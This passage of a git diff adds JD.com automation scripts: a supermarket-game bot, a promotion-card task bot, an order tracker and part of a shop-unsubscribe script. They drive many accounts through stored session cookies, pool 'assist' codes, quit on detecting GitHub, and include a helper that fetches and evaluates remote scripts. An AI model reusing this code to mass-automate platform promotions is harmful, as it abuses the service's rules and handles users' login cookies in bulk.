JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//解锁商品 +function smtg_unlockProduct(productId) { + return new Promise((resolve) => { + console.log(`开始解锁商品`) + $.get(taskUrl('smtg_unlockProduct', {productId}), (err, resp, data) => { + try { + // console.log(`解锁商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//升级货架 +function smtg_upgradeShelf(shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeShelf', {shelfId}), (err, resp, data) => { + try { + // console.log(`升级货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级货架结果\n${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//解锁货架 +function smtg_unlockShelf(shelfId) { + return new Promise((resolve) => { + console.log(`开始解锁货架`) + $.get(taskUrl('smtg_unlockShelf', {shelfId}), (err, resp, data) => { + try { + // console.log(`解锁货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_ground(productId, shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_ground', {productId, shelfId}), (err, resp, data) => { + try { + // console.log(`上架商品结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_productList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_productList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_lotteryIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_lotteryIndex', {"costType": 1, "channel": 1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function smtg_drawLottery() { + return new Promise(async (resolve) => { + await $.wait(1000); + $.get(taskUrl('smtg_drawLottery', {"costType": 1, "channel": 1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(resolve => { + console.log(`第${$.index}个京东账号的助力码:::${jdSuperMarketShareArr[$.index - 1]}`) + if (jdSuperMarketShareArr[$.index - 1]) { + newShareCodes = jdSuperMarketShareArr[$.index - 1].split('@'); + } else { + console.log(`由于您未提供与京京东账号相对应的shareCode,下面助力将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + console.log(`格式化后第${$.index}个京东账号的助力码${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + // console.log('\n开始获取东东超市配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`); + // console.log(`东东超市已改版,目前暂不用助力, 故无助力码`) + // console.log(`\n东东超市商圈助力码::${JSON.stringify(jdSuperMarketShareArr)}`); + // console.log(`您提供了${jdSuperMarketShareArr.length}个账号的助力码\n`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?appid=jdsupermarket&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Origin": "https://jdsupermarket.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://jdsupermarket.jd.com/", + "Cookie": cookie + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_tewu.ts b/jd_tewu.ts new file mode 100644 index 0000000000..c98934a9d3 --- /dev/null +++ b/jd_tewu.ts @@ -0,0 +1,140 @@ +/** + * 京东-下拉 + * cron: 0 9-20/1 * * * + */ + +import axios from 'axios' +import USER_AGENT, {getshareCodeHW, o2s, randomString, requireConfig, wait} from './TS_USER_AGENTS' + +let cookie: string = '', res: any = '', UserName: string, index: number, uuid: string +let shareCodeSelf: string[] = [], shareCode: string[] = [], shareCodeHW: string[] = [] +let activityId: number, encryptProjectId: string, inviteTaskId: string; +let message: string = '', sendNotify = require('./sendNotify').sendNotify + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + uuid = randomString(40) + try { + res = await api('showSecondFloorCardInfo', {"source": "card"}) + activityId = res.data.result.activityBaseInfo.activityId + encryptProjectId = res.data.result.activityBaseInfo.encryptProjectId + + // 已收集 + console.log('已收集') + for (let card of res.data.result.activityCardInfo.cardPackList) { + console.log(`card-${card.cardType}`, card.num, card.num === 0 ? "!!!" : "") + } + } catch (e) { + console.log(e) + continue + } + + let activityCardInfo: any = res.data.result.activityCardInfo + if (activityCardInfo.divideTimeStatus === 1 && activityCardInfo.divideStatus === 0 && activityCardInfo.cardStatus === 1) { + res = await api('superBrandTaskLottery', {"source": "card", "activityId": activityId, "encryptProjectId": encryptProjectId, "tag": "divide"}) + console.log('瓜分', res.data.result.rewards[0].beanNum) + message += `账号${index} ${UserName}\n${res.data.result.rewards[0].beanNum}\n\n` + await wait(2000) + } + + res = await api('superBrandTaskList', {"source": "card", "activityId": activityId, "assistInfoFlag": 1}) + for (let t of res.data.result.taskList || []) { + if (!t.completionFlag) { + if (t.assignmentType === 1) { + res = await api('superBrandDoTask', {"source": "card", "activityId": activityId, "encryptProjectId": encryptProjectId, "encryptAssignmentId": t.encryptAssignmentId, "assignmentType": 1, "itemId": t.ext.shoppingActivity[0].itemId, "actionType": 0}) + o2s(res) + await wait(2000) + } + + if (t.assignmentType === 3) { + res = await api('superBrandDoTask', {"source": "card", "activityId": activityId, "encryptProjectId": encryptProjectId, "encryptAssignmentId": t.encryptAssignmentId, "assignmentType": 3, "itemId": t.ext.followShop[0].itemId, "actionType": 0}) + o2s(res) + await wait(2000) + } + + if (t.assignmentType === 5) { + console.log(t.assignmentName) + for (let sign2 of t.ext.sign2) { + console.log(sign2.beginTime, sign2.status) + let beginClock: number = new Date(`2021-01-01 ${sign2.beginTime}`).getHours() + if (new Date().getHours() === beginClock && sign2.status === 1) { + console.log('开始下拉任务') + res = await api('superBrandDoTask', {"source": "card", "activityId": activityId, "encryptProjectId": encryptProjectId, "encryptAssignmentId": t.encryptAssignmentId, "assignmentType": 5, "itemId": sign2.itemId, "actionType": 0, "dropDownChannel": 1}) + o2s(res) + } + } + } + + if (t.assignmentType === 7) { + console.log('开卡 pass') + } + } + if (t.assignmentName === '邀请好友') { + o2s(t) + inviteTaskId = t.encryptAssignmentId + console.log('助力码', t.ext.assistTaskDetail.itemId) + shareCodeSelf.push(t.ext.assistTaskDetail.itemId) + console.log('收到助力', t.completionCnt, '/', 30) + for (let j = 0; j < t.ext.cardAssistBoxRest; j++) { + res = await api('superBrandTaskLottery', {"source": "card", "activityId": activityId, "encryptProjectId": encryptProjectId}) + console.log('打开盒子', JSON.stringify(res)) + await wait(3000) + } + } + } + await wait(2000) + } + if (message) { + await sendNotify("特物瓜分", message) + } + + console.log('内部助力', shareCodeSelf) + if (shareCodeHW.length === 0) { + shareCodeHW = await getshareCodeHW('tw') + } + shareCode = Array.from(new Set([...shareCodeSelf, ...shareCodeHW])) + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + for (let code of shareCode) { + console.log(`账号 ${UserName} 去助力 ${code}`) + res = await api('superBrandDoTask', {"source": "card", "activityId": activityId, "encryptProjectId": encryptProjectId, "encryptAssignmentId": inviteTaskId, "assignmentType": 2, "itemId": code, "actionType": 0}) + if (res.data.bizCode === '0') { + console.log('成功') + } else if (res.data.bizCode === '104') { + console.log('已助力过') + } else if (res.data.bizCode === '109') { + console.log('不能自己给自己助力') + } else { + console.log('助力失败', res.data.bizMsg) + await wait(2000) + } + await wait(2000) + } + } +})() + +async function api(fn: string, body: object) { + try { + let {data} = await axios.post(`https://api.m.jd.com/?uuid=${uuid}&client=wh5&appid=ProductZ4Brand&functionId=${fn}&t=${Date.now()}&body=${encodeURIComponent(JSON.stringify(body))}`, '', { + headers: { + 'Host': 'api.m.jd.com', + 'Origin': 'https://prodev.m.jd.com', + 'User-Agent': USER_AGENT, + 'Referer': 'https://prodev.m.jd.com/mall/active/ZskuZGqQMZ2j6L99PM1L8jg2F2a/index.html', + 'Cookie': cookie + } + }) + return data + } catch (e) { + console.log('Error') + o2s(e) + return '' + } +} \ No newline at end of file diff --git a/jd_track.ts b/jd_track.ts new file mode 100644 index 0000000000..54a6fdb8a6 --- /dev/null +++ b/jd_track.ts @@ -0,0 +1,82 @@ +/** + * 京东快递更新通知 + * cron: 0 0-23/4 * * * + */ + +import axios from "axios" +import * as path from "path" +import {sendNotify} from './sendNotify' +import {accessSync, readFileSync, writeFileSync} from "fs" +import {requireConfig, exceptCookie, wait} from "./TS_USER_AGENTS" + +let cookie: string = '', UserName: string, index: number, allMessage: string = '', res: any = '', message: string = '' + +!(async () => { + let cookiesArr: any = await requireConfig() + let except: string[] = exceptCookie(path.basename(__filename)) + let orders: any + try { + accessSync('./json/jd_track.json') + orders = JSON.parse(readFileSync('./json/jd_track.json').toString() || '{}') + } catch (e) { + orders = {} + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + if (except.includes(encodeURIComponent(UserName))) { + console.log('已设置跳过') + continue + } + + message = '' + res = await getOrderList() + for (let order of res.orderList) { + let orderId: string = order['orderId'] + let title: string = order['productList'][0]['title'] + let t: string = order.progressInfo?.tip || null + let status: string = order.progressInfo?.content || null + if (t && status) { + if (status.match(/(?=签收|已取走|已暂存)/)) continue + console.log(title) + console.log('\t', t, status) + console.log() + if (Object.keys(orders).indexOf(orderId) > -1 && orders[orderId]['status'] !== status) { + message += `${title}\n${t} ${status}\n\n` + } + orders[orderId] = { + user: UserName, title, t, status + } + } + } + if (message) { + message = `<京东账号${i + 1}> ${UserName}\n\n${message}` + allMessage += message + } + await wait(1000) + } + orders = JSON.stringify(orders, null, 2) + let account: { pt_pin: string, remarks: string, wxpusher_uid?: string }[] = JSON.parse(readFileSync('./utils/account.json').toString() || '[]') || [] + for (let acc of account) { + orders = orders.replace(new RegExp(decodeURIComponent(acc['pt_pin']), 'g'), acc['remarks']) + } + writeFileSync('./json/jd_track.json', orders) + if (allMessage) + await sendNotify('京东快递更新', allMessage) +})() + +async function getOrderList() { + let t: number = Date.now() + let {data} = await axios.get(`https://wq.jd.com/bases/orderlist/list?order_type=2&start_page=1&last_page=0&page_size=10&callersource=mainorder&t=${t}&sceneval=2&_=${t + 1}&sceneval=2`, { + headers: { + 'authority': 'wq.jd.com', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'referer': 'https://wqs.jd.com/', + 'cookie': cookie + } + }) + return data +} \ No newline at end of file diff --git a/jd_unsubscribe.js b/jd_unsubscribe.js new file mode 100644 index 0000000000..f26ca95dcb --- /dev/null +++ b/jd_unsubscribe.js @@ -0,0 +1,326 @@ +/* +脚本:取关京东店铺和商品 +更新时间:2021-05-08 +因种豆得豆和宠汪汪以及NobyDa大佬的京东签到脚本会关注店铺和商品,故此脚本用来取消已关注的店铺和商品 +默认:每运行一次脚本全部已关注的店铺与商品 +建议此脚本运行时间在 种豆得豆和宠汪汪脚本运行之后 再执行 +现有功能: 1、取关商品。2、取关店铺。3、匹配到boxjs输入的过滤关键词后,不再进行此商品/店铺后面(包含输入的关键词商品/店铺)的取关 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js, 小火箭 +==============Quantumult X=========== +[task_local] +#取关京东店铺商品 +55 23 * * * jd_unsubscribe.js, tag=取关京东店铺商品, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon============ +[Script] +cron "55 23 * * *" script-path=jd_unsubscribe.js,tag=取关京东店铺商品 +============Surge============= +取关京东店铺商品 = type=cron,cronexp="55 23 * * *",wake-system=1,timeout=3600,script-path=jd_unsubscribe.js +===========小火箭======== +取关京东店铺商品 = type=cron,script-path=jd_unsubscribe.js, cronexpr="55 23 * * *", timeout=3600, enable=true + */ +const $ = new Env('取关京东店铺和商品'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消全部已关注的店铺。数字0表示不取关任何店铺 +let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息 +let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称 +const JD_API_HOST = 'https://wq.jd.com/fav'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】取关京东店铺商品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + await requireConfig(); + await jdUnsubscribe(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdUnsubscribe() { + await Promise.all([ + goodsMain(), + shopMain() + ]) + //再次获取还有多少已关注的店铺与商品 + await Promise.all([ + getFollowGoods(), + getFollowShops() + ]) +} + +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已取消关注店铺】${$.unsubscribeShopsCount}个\n【已取消关注商品】${$.unsubscribeGoodsCount}个\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已取消关注店铺】${$.unsubscribeShopsCount}个\n【已取消关注商品】${$.unsubscribeGoodsCount}个\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个\n`); + } +} + +async function goodsMain() { + $.unsubscribeGoodsCount = 0; + if ((goodPageSize * 1) !== 0) { + await unsubscribeGoods(); + const le = Math.ceil($.goodsTotalNum / 20) - 1 >= 0 ? Math.ceil($.goodsTotalNum / 20) - 1 : 0; + for (let i = 0; i < new Array(le).length; i++) { + await $.wait(100); + await unsubscribeGoods(); + } + } else { + console.log(`\n您设置的是不取关商品\n`); + } +} + +async function unsubscribeGoods() { + let followGoods = await getFollowGoods(); + if (followGoods.iRet === '0') { + if (followGoods.totalNum > 0) { + for (let item of followGoods['data']) { + console.log(`是否匹配::${item.commTitle.indexOf(stopGoods.replace(/\ufffc|\s*/g, ''))}`) + if (stopGoods && item.commTitle.indexOf(stopGoods.replace(/\ufffc|\s*/g, '')) > -1) { + console.log(`匹配到了您设定的商品--${stopGoods},不在进行取消关注商品`) + break; + } + let res = await unsubscribeGoodsFun(item.commId); + if (res.iRet === 0 && res.errMsg === 'success') { + console.log(`取消关注商品---${item.commTitle.substring(0, 20).concat('...')}---成功`) + $.unsubscribeGoodsCount++; + console.log(`已成功取消关注【商品】:${$.unsubscribeGoodsCount}个\n`) + } else { + console.log(`取关商品失败:${JSON.stringify(res)}`) + console.log(`取消关注商品---${item.commTitle.substring(0, 20).concat('...')}---失败\n`) + } + await $.wait(1000); + } + } + } else { + console.log(`获取已关注商品失败:${JSON.stringify(followGoods)}`); + } +} + +function getFollowGoods() { + $.goodsTotalNum = 